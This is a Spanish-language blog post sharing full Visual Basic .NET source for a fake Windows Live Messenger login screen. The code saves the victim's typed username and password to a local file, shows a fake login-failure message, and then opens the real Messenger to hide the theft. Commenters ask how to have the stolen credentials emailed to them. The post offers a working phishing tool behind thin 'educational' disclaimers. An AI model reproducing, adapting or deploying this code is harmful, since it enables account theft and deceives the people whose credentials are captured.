Codigo fuente msn falso

Hola amigos como lo prometido es deuda en esta ocasion les traigo el codigo fuente del programa en visual.net acerca del messenger falso.


Recuerden que esta informacion solo es de uso informativo y educativo, el uso que hagan de ella es bajo su responsabilidad. Si tienen dudas o preguntas no duden en hacerlas que se les responderan con la mayor prontitud prosible..
No siendo mas aqui les dejo el codigo fuente.

Public Class Form1
Dim cont As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
PicDisponible.Visible = True
Timer1.Enabled = False
End Sub

Private Sub Label2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label2.Click
Dim proceso As New System.Diagnostics.Process
With proceso
.StartInfo.FileName = "https://signup.live.com/signup.aspx?ru=http://home.live.com&id=507&rollrs=12&lic=1"
.Start()
End With
End Sub

Private Sub CmbEstado_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CmbEstado.SelectedIndexChanged

If CmbEstado.Text = "Disponible" Then
PicDisponible.Visible = True
PicOcupado.Visible = False
PicAusente.Visible = False
PicDesconectado.Visible = False
Else
If CmbEstado.Text = "Ocupado" Then
PicDisponible.Visible = False
PicOcupado.Visible = True
PicAusente.Visible = False
PicDesconectado.Visible = False
Else
If CmbEstado.Text = "Ausente" Then
PicDisponible.Visible = False
PicOcupado.Visible = False
PicAusente.Visible = True
PicDesconectado.Visible = False
Else
PicDisponible.Visible = False
PicOcupado.Visible = False
PicAusente.Visible = False
PicDesconectado.Visible = True
End If
End If
End If
End Sub

Private Sub Label4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label4.Click
Dim proceso As New System.Diagnostics.Process
With proceso
.StartInfo.FileName = "http://privacy.microsoft.com/es-es/default.mspx"
.Start()
End With


End Sub

Private Sub Label5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label5.Click
Dim proceso As New System.Diagnostics.Process
With proceso
.StartInfo.FileName = "http://windowslive.com/desktop/messenger"
.Start()
End With
End Sub

Private Sub Label6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label6.Click
Dim proceso As New System.Diagnostics.Process
With proceso
.StartInfo.FileName = "https://account.live.com/ResetPassword.aspx?mkt=ES-ES"
.Start()
End With
End Sub

Private Sub BtnIniciar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnIniciar.Click

If TxtUsser.Text = "" Or TxtPass.Text = "" Then
MsgBox("NO PUEDES INICIAR SESIÓN WINDOWS LIVE MESSENGER" & Chr(13) & "Escribe tu ID. de Windows Live ID, en este formato: tunombre@ejemplo.com", MsgBoxStyle.Information, "Windows Live Messenger")
Else
My.Computer.FileSystem.WriteAllText("D:\guardar.txt", _
TxtUsser.Text, True)
My.Computer.FileSystem.WriteAllText("D:\guardar.txt", _
TxtPass.Text, True)
PanelRegistro.Visible = False
PanelEmoticon.Visible = True
LblIniciar.Text = "Iniciando sesión....."
Timer1.Enabled = True
End If
End Sub

Private Sub BtnCerrar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnCerrar.Click
'PanelRegistro.Visible = True
'PanelEmoticon.Visible = False
'LblIniciar.Text = "Iniciar sesión"
'TxtPass.Text = ""
'TxtPass.Focus()

End Sub

Private Sub PicMsnGris_MouseClick(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles PicMsnGris.MouseClick
PicAnderboy.Visible = True
PicMsnGris.Visible = False
MsgBox("Creado en su totalidad por @nd3[R]-Boy, derechos reservados." & Chr(13) & "Esto solo es material informativo, ni el creador, ni las paginas mensionadas se hacen responsables del uso de esta aplicacion, al descargarla toda la responsabilidad recae sobre quien la utilize. Damos conocimiento pero la responsabilidad es solo de quien lo maneje. No robes cuentas con esto, mejor aprende y practica estos conocimientos", MsgBoxStyle.Critical, "@nd3[R]-Boy creador de esta aplicacion")
MsgBox("si quieres aprender esto y mucho mas ingresa a WWW.REVOLUTIONTEAM.INFO, http://www.anderboy101.blogspot.com www.youtube.com/anderpoli, ó WWW.MYXOOMS.TK", MsgBoxStyle.Information, "Paginas aliadas")
MsgBox("Contactos vandalo89@hotmail.com", MsgBoxStyle.Critical, "CONTACTAME")

End Sub

Private Sub PicMsnGris_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PicMsnGris.Click

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If Timer1.Enabled = True Then
cont = cont + 1

End If
If cont = 1 Then
Timer1.Enabled = False
PanelRegistro.Visible = True
PanelEmoticon.Visible = False
LblIniciar.Text = "Iniciar sesión"
TxtPass.Text = ""
TxtPass.Focus()
End If
MsgBox("No puedes iniciar sesión en Windows Live Messenger" & Chr(13) & "La cuenta de Windows Live ID o la contraseña especificada no es correcta.", MsgBoxStyle.Information, "Windows Live Messenger")
Shell("C:\Program Files\Windows Live\Messenger\msnmsgr.exe", AppWinStyle.NormalFocus)
End

End Sub
End Class


9 comentarios:

  1. Anónimo dijo...:

    gracias saludo desde colombia :)

  1. Anónimo dijo...:

    Amigo me dirias como hacer para que te llegue un mail por quiero hacer un hack pero las contras y los usuarios no se guardan en mi pc y he escuchado que te puede llegar por mail

  1. Anónimo dijo...:

    oiie yo tengo una duda acerca del juego de navegadores como se le hace para que se muevan las imagenes en la pantalla es que no le entendi en tu codigo porque como dices en el tutorial si esta muy largo porfas conetsta=)

  1. hablaWETVEN dijo...:

    Bueno aquí te envio mi correo para tener un diálogo más directo: wetven@hotmail.com

  1. XkaiX dijo...:

    men voy a ser tu seguidor ..... me enseñaste visual basic a los 13 años :3 graXx men voy

  1. Anónimo dijo...:

    hola que tal ander, oie me puedes decir de donde sacaste las imagenes? ya que como cerraron megaupload no pude descargarlas desde tu link y me faltan las imagenes para hacer el msn, me puedes decir de donde sacaste las imagenes porfavor???

    gracias! saludos desde Mexico

  1. @nd3[R]-Boy dijo...:

    Perdon por la demora en los comentarios..
    Cualquier inquietud la pueden hacer por twitter, ese seria un canal de comunicación mas directo. Saludos..

  1. Anónimo dijo...:

    Men y si quiero que me envien a mi correo esa informacion

Publicar un comentario

 
Anderboy - Conocimiento Hecho Tutorial © 2010 | Designed by Trucks, in collaboration with MW3, Broadway Tickets, and Distubed Tour